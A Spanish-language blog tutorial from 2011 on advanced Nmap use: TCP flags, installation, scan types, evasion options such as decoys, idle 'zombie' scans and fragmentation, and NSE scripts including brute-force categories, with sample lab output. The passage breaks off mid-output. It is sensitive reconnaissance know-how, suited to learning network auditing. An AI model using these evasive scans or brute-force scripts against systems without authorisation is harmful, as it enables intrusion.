Inicio > Auditorias, Herramientas, Network Scanner, nmap, Seguridad > Nmap Avanzado: El arte de escanear.

Nmap Avanzado: El arte de escanear.

Domingo, 31 de julio de 2011 Dejar un comentario Ir a comentarios

Hablar de Nmap, es hablar de Gordon Lyon-Fyodor, y de una de las herramienta por excelencia en lo que a exploración de redes y puertos se refiere.

Vamos a empezar definiendo diferentes tipos de escaneos que podemos realizar:

  1. Escaneos de redes :Este tipo de exploración nos va permitir conocer los dispositivos conectados en la red a estudiar.
  2. Escaneos de puertos:  Una vez identificadas las máquinas, nos va a permitan descubrir puertos abiertos en las mismas. A partir de ese momento intentaremos descubrir los servicios que se están ejecutando y obtener datos que nos ayudarán a identificar el tipo de Sistema Operativo, las aplicaciones, versiones de las mismas…
  3. Escaneos de vulnerabilidades: Encontrar servicios vulnerables que sirvan como punto de entrada en los sistemas.

Tratamos por lo tanto que buscar las máquinas, ver los servicios que hay corriendo en ellas, y encontrar algún punto vulnerable por el que poder colarnos.

Debemos tener cuidado, ser cautos y no fiarnos de los resultados. A explicarse se ha dicho… Podríamos encontrar una maquina con el puerto 80 abierto. Suponemos que sobre el mismo debería de haber corriendo un servidor web, pero en realidad podemos  tener cualquier tipo de servicio detrás de ese puerto (Anexo). Realizar varios chequeos y estudiar la información devuelta con lupa. Es aquí cuando empezamos a hablar de lo que se conoce como Fingerprinting. Algo así como determinar la versión y tipo de sistema operativo que se encuentra corriendo en el Host.

Nmap es una herramienta que a día de hoy nos va permitir realizar todo esto, pero donde verdaderamente ha venido centrando su potencial, es el escaneo de redes y puertos, aunque con las nuevas funcionalidades de Scripting (NSE) vamos a ver como sacarle todo su potencial.

Seremos capaces de escanear redes completas, simplemente un rango de equipos o centrarnos en un solo objetivo. Una herramienta que nos va a permitir realizar diferentes tipo de escaneos que iremos viendo a continuación, descubriendo su gran potencial.

Conviene comentar en este punto, que los escaneos pueden ser activos o pasivos. Cuando realicemos escaneos activos vamos a generar ruido forzando trazas que pueden ser detectadas, en cambio en los pasivos vamos a escuchar lo que la red nos dice, e ir determinado resultados en función a la información recibida. En este segundo bloque podemos citar herramientas como p0f:

#p0f
p0f – passive os fingerprinting utility, version 2.0.8
(C) M. Zalewski <lcamtuf@dione.cc>, W. Stearns <wstearns@pobox.com>

Para entender el funcionamiento de Nmap es necesario conocer un poquito sobre los diferentes protocolos TCP, UDP, IP… y ser capaces de interpretar los resultados. Tenemos que reconocer términos tales como direcciones IP, Puertos, Flags….

Resumiendo un poco lo que nos dice la Wikipedia, TCP (Transmission Control Protocol-RFC 793)  es un protocolo de comunicación orientado a conexión y a nivel de transporte ( capa 4 según el modelo OSI), que da soporte a protocolos de aplicación tales como  HTTP, FTP, SMTP…, permitiendo crear conexiones en las que se garantiza el flujo de información sin errores.

Para establecer la conexión se estable un procedimiento que se viene a denominar 3-way handshake, que viene reflejado en la siguiente figura:

Lo que nos viene a decir es que el cliente envía un TCP SYN (con un numero de secuencia asignado para evitar Spoofing), si el puerto está abierto el servidor responde con un SYN/ACK, en caso contrario el servidor envía un paquete con el Flag  RST activado, y el cliente responde al servidor con un ACK, completando así la negociación.

En el nivel de transporte, los paquetes de bits que constituyen las unidades de datos de protocolo TCP se llaman “segmentos” que vemos definidos en la siguiente figura:


Es necesario también comentar el concepto de puerto, que como vemos en el dibujo tiene un tamaño de 16 bits, por lo que existen 65.536 puertos posibles. Del 0 al 1023 se vienen a denominar puertos conocidos que son en los que generalmente van a estar escuchando aplicaciones tales como HTTP(80), HTTPS(443), SNMP(25) …, luego están los puertos registrados 1024-49151 utilizados por las aplicaciones de usuario de forma temporal, y luego están los dinámicos que van del 49152-65535.

Será necesario conocer algo sobre los bits de control (Flags) que como vemos son 8bits que se activan cuando están a 1 y se encuentran  inactivos cuando se encuentran a 0. Serian CWR, ECE, URG, ACK, PSH, RST, SYN y FIN. Muy importantes y que veremos a continuación para que sirven.

Hemos comentado que para los Flags tenemos reservado un campo de 1Byte (8bits):

  • CWR (Congestion Window Reduced):  Notificación explicita de congestión. rfc3168
  • ECN (Explicit Congestion Notification): Informar de que se ha recibido un notificación ECN. rfc3168
  • URG (Urgent): Identificar los datos de entrada como urgentes.
  • ACK (Acknowledgement): Para confirmar que el paquete se ha recibido correctamente.
  • PSH (Push):- Prioridad para procesar el bloque de datos.
  • RST (Reset): Reiniciar una conexión.
  • SYN (Synchronize): Iniciar una conexión TCP.
  • FIN (Finalize): Finalizar una conexion iniciada con un SYN.

Sobre todo esto seguiremos profundizando en otro articulo, pero recomiendo al menos leer  mas en detalle información sobre nuestros amigos los protocolos para que nos vayan sonando los conceptos. Hay que empezar poco a poco, y ya tendremos tiempo para ir avanzando.

La instalación de la herramienta es muy sencilla. Podemos hacer uso del “método debian”:

#apt-cache search nmap

nmap – El mapeador de red

Podemos ver que nos dice nuestro sistema de este paquete

#apt-cache -f search nmap

Package: nmap
Description-md5: bc417f4c1fdba7d8d9b0ca8a2a90b7a8
Description-es: El mapeador de red
 Nmap es una herramienta para la exploración de la red y la auditoría de
 seguridad. Permite realizar escaneados con ping (determinando que máquinas
 están activas), muchas técnicas de escaneado de puertos, detección de
 versiones (determinando los protocolos de los servicios y las versiones de
 las aplicaciones que están escuchando en los puertos), e identificación
 mediante TCP/IP (identificando el sistema operativo de la máquina o el
 dispositivo). Nmap también ofrece una especificación flexible del objetivo
 y el puerto, escaneados ocultos/con señuelo, escaneados de las RPC de Sun,
 y mucho más. Se puede usar en la mayoría de las plataformas UNIX y Windows
 tanto en el modo consola como en el entorno gráfico de usuario. También se
 puede usar en muchos de los dispositivos móviles más famosos, incluyendo
 el Zaurus de Sharp y la iPAQ.

Que bien se explica….¿Algo mas que le queramos preguntar?. Si. Queremos saber también la versión. Es interesante tener la última versión no solo para disponer todas las funcionalidades, sino para tener actualizados los Scripts de los que hace uso la herramienta. Esto último lo veremos mas adelante en el artículo.

#apt-cache showpkg nmap
Package: nmap
Versions:
5.00-3 (/var/lib/apt/lists/ftp.es.debian.org_debian_dists_squeeze_main_binary-i386_Packages)

Si comprobamos en la página de Nmap cual es la última versión estable, veremos que es la 5.51. Es cierto que tenemos un paquete con esta versión pero en esta ocasión vamos a realizar la instalación desde los fuentes y ver la sencillez del proceso.

#wget http://nmap.org/dist/nmap-5.51.tar.bz2

Ahora que lo tenemos descargado, procedemos a descomprimirlo:

#bzip2 -cd nmap-5.51.tar.bz2 | tar -xvf -

Ahora a compilar e instalar.

#cd nmap-5.51
#../configure
#make
#make install

Comprobamos la versión:

#nmap –version
Nmap version 5.51 ( http://nmap.org )

Ahora que ya tenemos la herramienta preparada, podemos empezar a jugar.

Uso: nmap [Scan Type(s)] [Options] {target specification}

Vamos ahora a lo que nos ocupa, que es ir viendo los diferentes tipos de escaneos que nos brinda Nmap, para seguir con todas las opciones que nos aporta la herramienta.

TIPOS DE ESCANEO EN NMAP

-sP (Ping Scanning):

No se trata de de un escaneo de puertos, sino que nos va a servir para determinar los Host levantados. Si lo ejecutamos con permisos de root, envia un ICMP ECHO REQUEST retornando la máquina objetivo un ECHO REPLY, o paquetes TCP SYN para comprobar si el host está levantado. Si no disponemos de privilegios lanzara un TCP connect().Si el objetivo está en nuestra red local enviara paquetes ARP esperando una respuesta.

Vamos a lanzar un escaneo y recoger los valores para ver el tráfico de red que se está generando. Esto lo podemos hacer utilizando la opción –packet-tracer o algún sniffer como puede ser tcpdump, wireshark

#nmap -sP 10 10.207.214.10
Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for local_IP
Host is up (0.00092s latency).
MAC Address: 00:49:bb:81:XX:XX (Micro-star International CO.)
Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds

Y la captura con Tcpdump relfleja lo siguiente:

#tcpdump -i eth0 host 10.207.214.10

ARP, Request who-has Master.local (Broadcast) tell local, length 28
ARP, Reply Master.local is-at 00:49:bb:81:XX:XX (oui Unknown), length 46

Mismo escaneo contra un red externa.

#nmap -sP 74.125.232.112
Nmap scan report for 74.125.232.112
Host is up (0.068s latency).
Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds

Y su correspondiente captura con Tcpdump

21:00:42.736186 IP p.local > 74.125.232.112: ICMP echo request, id 38701, seq 0, length 8
21:00:42.736218 IP pl.local.39583 > 74.125.232.112.https: Flags [S], seq 1461930908, win 1024, options [mss 1460], length 0
21:00:42.736230 IP p.local.39583 > 74.125.232.112.www: Flags [.], ack 1461930908, win 3072, length 0
21:00:42.736240 IP p.local > 74.125.232.112: ICMP time stamp query id 1075 seq 0, length 20
21:00:42.814136 IP 74.125.232.112.www > p.local.39583: Flags [R], seq 1461930908, win 0, length 0
21:00:42.824328 IP 74.125.232.112 > p.local: ICMP echo reply, id 38701, seq 0, length 8
21:00:42.825915 IP 74.125.232.112.https > p.local.39583: Flags [S.], seq 984946652, ack 1461930909, win 5720, options [mss 1430], length 0
21:00:42.825940 IP p.local.39583 > 74.125.232.112.https: Flags [R], seq 1461930909, win 0, length 0

-sT

Realiza un escaneo completo a través del metodo connect() del protocolo TCP (three way handshake) que hemos comentado anteriormente. Este tipo de escaneo va a quedar muy bien registrado en los logs….

#nmap -sT -p 5900 10.207.214.10

Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for 10.207.214.10
Host is up (0.0011s latency).
PORT     STATE SERVICE
5900/tcp open  vnc
MAC Address: 00:19:DB:81:XX:XX (Micro-star International CO.)
Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds

Nmap nos informa de que la máquina esta levantada y que el Puerto sobre el que hemos lanzado el escaneo este abierto. Podemos escanear todos los puertos, o centrarnos en algunos de ellos con la opción –p port_number

Vamos a ver el tráfico que hemos generado.

IP p.local.44959 > Master.local.5900: Flags [S], seq 2636019398, win 5840, options [mss 1460,sackOK,TS val 980997 ecr 0,nop,wscale 6], length 0
IP Master.local.5900 > pedlap.local.44959: Flags [S.], seq 93360044, ack 2636019399, win 8192, options [mss 1460,nop,wscale 8,sackOK,TS val 109977278 ecr 980997], length 0
IP p.local.44959 > Master.local.5900: Flags [.], ack 1, win 92, options [nop,nop,TS val 980997 ecr 109977278], length 0
IP p.local.44959 > Master.local.5900: Flags [R.], seq 1, ack 1, win 92, options [nop,nop,TS val 980997 ecr 109977278], length 0

Con un pantallazo gráfico del Wireshark quizás para empezar lo veáis más claro:

Vemos claramente como funciona. Se lanza un connect() en toda regla, si el puerto está abierto se establece la conexión. En caso contrario se recibiría un Connection refused o Timeout.

-sS

Para lanzar este escaneo son necesarios privilegios de root en la máquina desde la que lo vayamos a ejecutar. Se trata de evitar realizar tanto ruido como en el anterior escaneo, y para ello no llegamos a realizar una conexión completa. Aunque también tenemos que decir que los firewalls (stateful) modernos ya detectan este tipo de escaneos.

Enviamos un Tcp SYN, la máquina remota nos envia un SYN/ACK si el puerto está abierto, o RST si está cerrado. Nosotros siempre respondemos con un RST.

Vamos a verlo también con un ejemplo

#nmap -sS -p 5900 10.207.214.10
Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for 10.207.214.10
Host is up (0.0019s latency).
PORT     STATE SERVICE
5900/tcp open  vnc
MAC Address: 00:19:DB:81:XX:XX (Micro-star International CO.)

Y la captura nos dice…

IP p.local.33867 > Master.local.5900: Flags [S], seq 516884476, win 3072, options [mss 1460], length 0
IP Master.local.5900 > pedlap.local.33867: Flags [S.], seq 366620328, ack 516884477, win 8192, options [mss 1460], length 0
p.local.33867 > Master.local.5900: Flags [R], seq 516884477, win 0, length 0

-sF

Aquí se trata de enviar un paquete con el flag FIN, y si el puerto está cerrado el objetivo nos enviara un RST o por el contrario lo ignorara en caso de este estar abierto o filtrado. Las máquinas Windows no responden muy bien, por lo que aparecerán con todos los puertos cerrados, lo cual también nos puede dar una idea del sistema al que nos enfrentamos.

Ejemplo Puerto Abierto o filtrado

21:29:21.861093 IP p.local.52343 > Master.local.5900: Flags [F], seq 1079616386, win 3072, length 0
21:29:21.940670 ARP, Request who-has p.local tell Master.local, length 46
21:29:21.940703 ARP, Reply p.local is-at 00:22:fb:xx:xx:xx (oui Unknown), length 28

Ejemplo de Puerto Cerrado

21:30:20.699859 IP pedlap.local.50622 > Master.local.5922: Flags [F], seq 1783626805, win 4096, length 0
21:30:20.700645 IP Master.local.5922 > pedlap.local.50622: Flags [R.], seq 0, ack 1783626806, win 0, length 0

-sX (Xmas Scan)

Igual que los anteriores pero activando todos los Flags (FIN, PSH y URG). El escaneo Xmas envía un paquete con todos los flags activados, recibiendo un RST si el puerto está cerrado o ninguna respuesta si este esta abierto o filtrado.

-sN (Null Scan)

Funciona igual que los anteriores, pero en este caso no se envía ningún flag activado(null).

-sA

Nos va a servir para empezar a intuir como estan configurado el firewall por los filtrados que este realiza. Se envía un paquete TCP con el flag ACK activado, cuando nos enfrentamos a sistemas no filtrados, tanto si el puerto esta abierto como cerrado nos va devolver un RST y nmap los marca como no filtrados, pero no podemos saber si están abiertos o no. Los puertos que no responden o envían un mensaje ICMP de error se va a etiquetar como filtrados.

-sW

Similar al -sA, pero en determinados SO se puede determinar si el puerto esta abierto o cerrado a través del valor de ventana TCP.

-sM

Solo parece que funciona con algunos sistemas BSD. Se envía un FIN/ACK y se obtiene un RST.

-sI

Esto se conoce como Idle Scanning. Básicamente consiste en intentar ocultar la identidad del atacante y utilizar máquinas intermedias llamadas zoombies que sean las que realmente aparecerán como atacantes. Se pueden utilizar por ejemplo impresoras o máquinas antiguas como zoombies que utilicen números de secuencia predecibles (IPID). Cuando lancemos este tipo de ataque, nmap nos informará si la máquina utiliza como zombie puede ser utilizada como tal.

#nmap -sI 10.207.214.10 10.207.214.11

Starting Nmap 5.51 ( http://nmap.org )
Idle scan using zombie 10.207.214.10 (10.207.214.11:80); Class: Incremental
Even though your Zombie (10.207.214.10; 10.207.214.10) appears to be vulnerable to IP ID sequence prediction (class: Incremental), our attempts have failed.  This generally means that either the Zombie uses a separate IP ID base for each host (like Solaris), or because you cannot spoof IP packets (perhaps your ISP has enabled egress filtering to prevent IP spoofing), or maybe the target network recognizes the packet source as bogus and drops them
QUITTING!

-sO

Con este tipo de escaneo se pueden obtener falsos positivos. Se envía un paquete sin información en la cabeceras y deberemos recibir un ICMP de protocolo (tipo3, cod 2) inalcanzable en caso de este no estar soportado en la maquina remota. En caso contrario se asume que el puerto está abierto y el protocolo soportado.

#nmap -P0 -sO 10.207.214.10

Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for 10.207.214.10
Host is up (0.00075s latency).
Not shown: 245 closed protocols
PROTOCOL STATE         SERVICE
1        open          icmp
2        open|filtered igmp
4        open|filtered ip
6        open          tcp
17       open          udp
41       open|filtered ipv6
43       open|filtered ipv6-route
44       open|filtered ipv6-frag
47       open|filtered gre
50       open|filtered esp
51       open|filtered ah
MAC Address: 00:19:DB:81:XX:XX (Micro-star International CO.)

-sU

Sirve para lanzar un escaneo UDP. Hay que tener cuidado con los resultados que devuelve, ya que si tenemos un firewall filtrando paquetes ICMSP los resultados no van a ser fiables. Se envían paquetes UDP de longitud 0, y se reciben ICMP (puerto no alcanzable).

Puede tardar bastante. Como UDP no es un protocolo orientado a conexión con lo es TCP, solo podemos estar seguros de los puertos que se encuentran cerrados recibiendo un ICMP Port Unreacheable. Aunque con el tema de los Payloads algo hemos ganado. Podríamos también hacer uso de herramientas como UnicornScan o udp-proto-scanner..

IP p.local.45611 > Master.local.https: UDP, length 0
IP Master.local > p.local: ICMP Master.local udp port https unreachable, length 36

-sV

Iniciar un escaneo de servicios en los puertos abiertos. Genera bastante ruido, pero nos proporciona información sobre los servicios que están corriendo en los puertos que se encuentran abiertos.

#nmap -p 5900 -sV 10.207.214.10

Starting Nmap 5.51 ( http://nmap.org )

Nmap scan report for 10.207.214.10
Host is up (0.00093s latency).
PORT     STATE SERVICE VERSION
5900/tcp open  vnc     VNC (protocol 3.6)
MAC Address: 00:19:DB:81:XX:XX (Micro-star International CO.)

-sA

Realizar un escaneo de servicios -sV y detección del OS -O.

OPCIONES

-P0 : Indica que no se realice un ICMP ping antes de empezar con el escaneo.

-T [0.1.2.3.4.5] – Establecer el tiempo para el scaneo. Por ejemplo -T0 estable 5 minutos entre envio de paquetes. Los diferentes valores son :-T paranoid, -T sneaky, -T Polite, -T normal -T aggressive, -T insane.

–scan_delay: Muestra el tiempo en Ms entre las diferentes pruebas.
Podemos indicar el tiempo en ms a esperar para la retransmisión de los paquetes a traves de las opciones: –max_rtt_timeout, –min_rtt_timeout (tambien tenemos i¡–initial_rtt_timeout)

-p : lista de puertos a escanear separados por comas.

-F : (modo  escaneo rápido). Escanea los puertos que se encuentran en el fichero de servicios de nmap.

Dentro de la instalación del directorio de nmap, nos encontramos con los siguientes ficheros :

#ls /usr/local/share/nmap
nmap.dtd  nmap-mac-prefixes  nmap-os-db  nmap-payloads  nmap-protocols  nmap-rpc  nmap-service-probes  nmap-services  nmap.xsl  nselib  nse_main.lua  scripts

Refencia Ficheros

 –datadir : Nos permite modificar la ruta de los ficheros.

-e : Identifica la interface por la que se realiza el escaneo.

-f : Se utiliza para la fragmentación de los paquetes y dificultar así el filtrado de paquetes, pero con los firewalls modernos no funciona porque encolaran todos los paquetes antes de evaluarlos.

-D: Es un opción de señuelo, que básicamente envía señuelos mientras realizamos la exploración real a fin de ser más complicado detectarnos. Es interesante recordar que la dirección del señuelo tiene que estar operativa para evitar desbordamientos SYN en el objetivo.

#nmap -sS Ip -D ip_señuelo

-v: nos muestra información sobre el escaneo que estamos realizando.

-n: Le forzamos a que no realice resolución de nombres.

-R: Forzarle a que realice resolución de nombres.

–packet-trace para ver en detalle lo que se envía y recibe.

#nmap –packet-trace -sN -p 5900 10.207.214.10

Starting Nmap 5.51 ( http://nmap.org )
SENT (0.1110s) ARP who-has 10.207.214.10 tell 10.207.214.102
RCVD (0.1130s) ARP reply 10.207.214.10 is-at 00:19:DB:81:XX:XX
NSOCK (0.1350s) UDP connection requested to 212.142.144.98:53 (IOD #1) EID 8
NSOCK (0.1350s) Read request from IOD #1 [212.142.144.98:53] (timeout: -1ms) EID 18
NSOCK (0.1350s) UDP connection requested to 212.142.144.66:53 (IOD #2) EID 24
NSOCK (0.1350s) Read request from IOD #2 [212.142.144.66:53] (timeout: -1ms) EID 34
NSOCK (0.1350s) Write request for 44 bytes to IOD #1 EID 43 [212.142.144.98:53]: ………….10.214.207.10.in-addr.arpa…..
NSOCK (0.1350s) nsock_loop() started (timeout=500ms). 5 events pending
NSOCK (0.1350s) Callback: CONNECT SUCCESS for EID 8 [212.142.144.98:53]
NSOCK (0.1350s) Callback: CONNECT SUCCESS for EID 24 [212.142.144.66:53]
NSOCK (0.1350s) Callback: WRITE SUCCESS for EID 43 [212.142.144.98:53]
NSOCK (0.1550s) Callback: READ SUCCESS for EID 18 [212.142.144.98:53] (44 bytes): ………….10.214.207.10.in-addr.arpa…..
NSOCK (0.1550s) Read request from IOD #1 [212.142.144.98:53] (timeout: -1ms) EID 50
SENT (0.1860s) TCP 10.207.214.102:53374 > 10.207.214.10:5900  ttl=55 id=24851 iplen=40  seq=271850125 win=4096
RCVD (0.2060s) TCP 10.207.214.10:5900 > 10.207.214.102:53374 RA ttl=128 id=21926 iplen=40  seq=0 win=0 ack=271850125
SENT (0.2860s) TCP 10.207.214.102:53375 > 10.207.214.10:5900  ttl=48 id=18593 iplen=40  seq=271915660 win=1024
RCVD (0.2870s) TCP 10.207.214.10:5900 > 10.207.214.102:53375 RA ttl=128 id=21936 iplen=40  seq=0 win=0 ack=271915660
Nmap scan report for 10.207.214.10
Host is up (0.0011s latency).
PORT     STATE         SERVICE
5900/tcp open|filtered vnc
MAC Address: 00:19:DB:81:XX:XX (Micro-star International CO.)

–version-trace: Información sobre la versión de servicio detectada.

#nmap –version-trace -sN -p 5900 10.207.214.10

Starting Nmap 5.21 ( http://nmap.org )
————— Timing report —————
  hostgroups: min 1, max 100000
  rtt-timeouts: init 1000, min 100, max 10000
  max-scan-delay: TCP 1000, UDP 1000, SCTP 1000
  parallelism: min 0, max 0
  max-retries: 10, host-timeout: 0
  min-rate: 0, max-rate: 0
———————————————
Packet capture filter (device wlan0): arp and arp[18:4] = 0x0022FB9A and arp[22:2] = 0xA76C
Overall sending rates: 32.35 packets / s, 1358.78 bytes / s.
mass_rdns: Using DNS server 212.142.144.66
mass_rdns: Using DNS server 212.142.144.98
mass_rdns: 0.02s 0/1 [#: 2, OK: 0, NX: 0, DR: 0, SF: 0, TR: 1]
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Packet capture filter (device wlan0): dst host 10.207.214.102 and (icmp or ((tcp or udp or sctp) and (src host 10.207.214.10)))
Overall sending rates: 8.70 packets / s, 347.92 bytes / s.
Nmap scan report for 10.207.214.10
Host is up (0.0012s latency).
Scanned at 2011-07-26 22:56:42 CEST for 1s
PORT     STATE         SERVICE
5900/tcp open|filtered vnc
MAC Address: 00:19:DB:81:XX:XX (Micro-star International CO.)
Final times for host: srtt: 1208 rttvar: 5000  to: 100000

-O: Fingerprinting, utiliza varios métodos para determinar versión y tipo de Sistema Operativo. ¿ Os suena queso?

-P0 : Deshabilitar el escaneo ICMP haciendo uso de un TCP ping con ACK.

-b: FTP bounce Attack, utilizando servidores ftp mal configurados para actuar estos como proxy.

-S: Especificar la IP origen.

-PR: realizar ARP ping siempre y cuando estemos en la misma Subnet a escanear.

–source_port: especificar el puerto de Origen. Para los Firewalls modernos complicadillo…

–randomize_host: Escanear los host de forma aleatoria y que no se haga de forma secuencial.

Para escribir la salida a ficheros en diferentes formatos:

-oN,  -oM, -oX  ,-oG , -oA nom_archivo (Se escribe en todos los posibles formatos)

 -h: obtenemos una pequeña ayuda con la posibilidades que nos brinda la herramienta.

Resumen de Opciones

VIDEOS Irongeek, Irongeek2
Manuales insecureinsecure1,  insecure3, insecure4
Chuleta: scribd, securitybydefault

Ejemplos: madrock , securityaegis

Parametrizable ¿no?

Vamos ahora a ver unos ejemplos, y seguimos comentando temas tan interesantes como NSE, Ncat….

EJEMPLOS

#nmap -p443,80 URL

Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for URL (194.XX.0.XXX)
Host is up (0.026s latency).
rDNS record for 194.30.0.194: servrer
PORT    STATE  SERVICE
80/tcp  open   http
443/tcp closed https

#nmap -v -sV -O -p445,5900 -P0 10.207.214.10

Starting Nmap 5.51 ( http://nmap.org )
NSE: Loaded 8 scripts for scanning.
Initiating ARP Ping Scan at 23:36
Scanning 10.207.214.10 [1 port]
Completed ARP Ping Scan at 23:36, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 23:36
Completed Parallel DNS resolution of 1 host. at 23:36, 0.02s elapsed
Initiating SYN Stealth Scan at 23:36
Scanning 10.207.214.10 [2 ports]
Discovered open port 445/tcp on 10.207.214.10
Discovered open port 5900/tcp on 10.207.214.10
Completed SYN Stealth Scan at 23:36, 0.03s elapsed (2 total ports)
Initiating Service scan at 23:36
Scanning 2 services on 10.207.214.10
Completed Service scan at 23:36, 6.02s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 10.207.214.10
Nmap scan report for 10.207.214.10
Host is up (0.00096s latency).
PORT     STATE SERVICE     VERSION
445/tcp  open  netbios-ssn
5900/tcp open  vnc         VNC (protocol 3.6)
MAC Address: 00:19:DB:81:XX:XX (Micro-star International CO.)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows Vista|2008|7
OS details: Microsoft Windows Vista SP0 – SP2, Server 2008, or Windows 7 Ultimate
Uptime guess: 0.843 days (since Fri Jul 29 03:22:16 2011)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: Busy server or unknown class

Read data files from: /usr/local/share/nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.84 seconds
           Raw packets sent: 19 (1.534KB) | Rcvd: 19 (1.446KB)

#nmap -sS -p 80 -oA correo-web URL

Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for url (194.XX.0.XXX)
Host is up (0.0095s latency).
rDNS record for 194.30.0.194: server
PORT   STATE    SERVICE
80/tcp open     http

Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds

#ls correo*

correo-web  correo-web.gnmap  correo-web.nmap  correo-web.xml

#nmap -sV -p 22,53,110 10.207.214.1-15

Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for 10.207.214.10
Host is up (0.0032s latency).
PORT    STATE  SERVICE VERSION
22/tcp  closed ssh
53/tcp  closed domain
110/tcp closed pop3
MAC Address: 00:19:DB:81:XX:XX (Micro-star International CO.)

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 15 IP addresses (1 host up) scanned in 1.79 seconds

Hasta ahora todos los comandos han sido ejecutados mediante consola, pero esta herramienta también dispone de Interfaces gráficas tales como  Zenmap que nos facilitarán la tarea. De todas formas sabemos que siempre es interesante conocer la lógica bajo la parte gráfica, y ver lo que realmente estamos generando.

Hemos comentado en las primeras líneas del artículo la posibilidad que nos aportaba Nmap cono escáner de vulnerabilidades.

Vamos a aprovecharnos de su motor de Scripts NSE para ver su potencia.

Si nos vamos al directorio donde tenemos instalado Nmap

#cd /usr/local/share/nmap

Y accedemos al directorio Scripts, veremos numerosos archivos con extensión nse, que son scripts programados en el lenguaje lua (del cual hace uso un conocido como Wireshark), que nos van a permitir automatizar tareas, escaneos de vulnerabilidades, ataques de fuerza bruta …..

Estos van a estar agrupados en categorías que vendrán definidas en el script (auth; broadcast; default; discovery; dos; exploit; external; fuzzer; intrusive; malware; safe; version; vuln;) y podrán ser lanzados en función de esa categoría y del análisis que deseemos realizar. Una referencia a todas las posibles categorías.

Por ejemplo si editamos alguno de ellos:

#vi  vi smb-psexec.nse
author = “Ron Bowes”
copyright = “Ron Bowes”
license = “Same as Nmap–See http://nmap.org/book/man-legal.html”
categories = {“intrusive”}
dependencies = {“smb-brute”}

Sintaxis: --script <filename>|<category>|<directory>|<expression>|all[,...]

Si definimos el parámetro, all se van a ejecutar todos los Scripts que tengamos definidos en el directorio Scripts.

Antes de nada podemos lanzar una actualización de los scripsts…

# nmap –script-updatedb (actualiza la base de datos scripts/script.db)

Starting Nmap 5.51 ( http://nmap.org )
NSE: Updating rule database.
NSE: Script Database updated successfully.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.89 seconds

Por poner un ejemplo prodriamos lanzar lo siguiente:

#nmap –script smb-os-discovery 10.207.214.10

Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for 10.207.214.10
Host is up (0.024s latency).
Not shown: 988 closed ports
PORT      STATE    SERVICE
135/tcp   open     msrpc
139/tcp   open     netbios-ssn
445/tcp   open     microsoft-ds
5800/tcp  open     vnc-http
5900/tcp  open     vnc
……….
MAC Address: 00:19:DB:81:XX:XX (Micro-star International CO.)
Host script results:
| smb-os-discovery:
|   OS: Windows Vista (TM) Home Premium 6001 Service Pack 1 (Windows Vista (TM) Home Premium 6.0)
|   Name: WORKGROUP\GROUP
|_  System time: 2011-07-29 21:19:43 UTC+2

Si queremos lanzarlo en funcion de una determinada categoria podriamos lanzar lo siguiente:

#nmap –script “not intrusive”
#nmap –script “default or safe”
#nmap –script default,safe

#nmap –script-trace (nos muestra información sobre lo que va haciendo a nivel de aplicación)

Podemos realizar búsquedas para dar con lo que nos interesa.

#nmap –script-help “*-brute”

Starting Nmap 5.51 ( http://nmap.org )

afp-brute
Categories: intrusive auth
http://nmap.org/nsedoc/scripts/afp-brute.html
  Performs password guessing against Apple Filing Protocol (AFP)

domcon-brute
Categories: intrusive auth
http://nmap.org/nsedoc/scripts/domcon-brute.html
  Performs brute force password auditing against the Lotus Domino Console.Ahora vamos a ver algunos ejemplos:
De un determinado tipo
nmap –script “http-*”
Con una conbinación de condiciones
nmap –script “(default or safe or intrusive) and not http-*”
Tenemos una lista en la WEB (http://nmap.org/nse)

#nmap –script -sC

Realiza un scaneo utilizando los scripts por defecto. Es equivalente a –script=default. Bastante intrusivo y nos va a gererar mucho ruido.

Podemos lanzarlos de un determinado tipo
#nmap -p80 –script “http-*” 10.207.214.102

Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for 10.207.214.102
Host is up (0.00012s latency).
PORT   STATE SERVICE
80/tcp open  http
| http-brute:   
|_  ERROR: No path was specified (see http-brute.path)
|_http-methods: GET HEAD POST OPTIONS
|_http-iis-webdav-vuln: ERROR: This web server is not supported.
|_http-malware-host: Host appears to be clean
| http-headers:
|   Date: Fri, 29 Jul 2011 21:58:03 GMT
|   Server: Apache/2.2.16 (Debian)
|   Last-Modified: Wed, 20 Jul 2011 14:07:57 GMT
|   ETag: “48e03c-b1-4a880c25d0940″
|   Accept-Ranges: bytes
|   Content-Length: 177
|   Vary: Accept-Encoding
|   Connection: close
|   Content-Type: text/html
|   
|_  (Request type: HEAD)
|_http-date: Fri, 29 Jul 2011 21:58:03 GMT; 0s from local time.
| http-form-brute:   
|_  ERROR: No uservar was specified (see http-form-brute.uservar)
|_http-title: Site doesn’t have a title (text/html).
| http-enum:
|_  /icons/: Potentially interesting folder w/ directory listing
| http-domino-enum-passwords:   
|_  ERROR: No valid credentials were found (see domino-enum-passwords.username and domino-enum-passwords.password)

Nmap done: 1 IP address (1 host up) scanned in 1.55 seconds

si solo queremos recuperar las cabeceras HTTP

#nmap –script http-headers url

Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for Server
Host is up (0.012s latency).
rDNS record for 194.30.X.XXX
Not shown: 991 closed ports
PORT     STATE    SERVICE
21/tcp   open     ftp
22/tcp   open     ssh
25/tcp   filtered smtp
80/tcp   open     http
| http-headers:
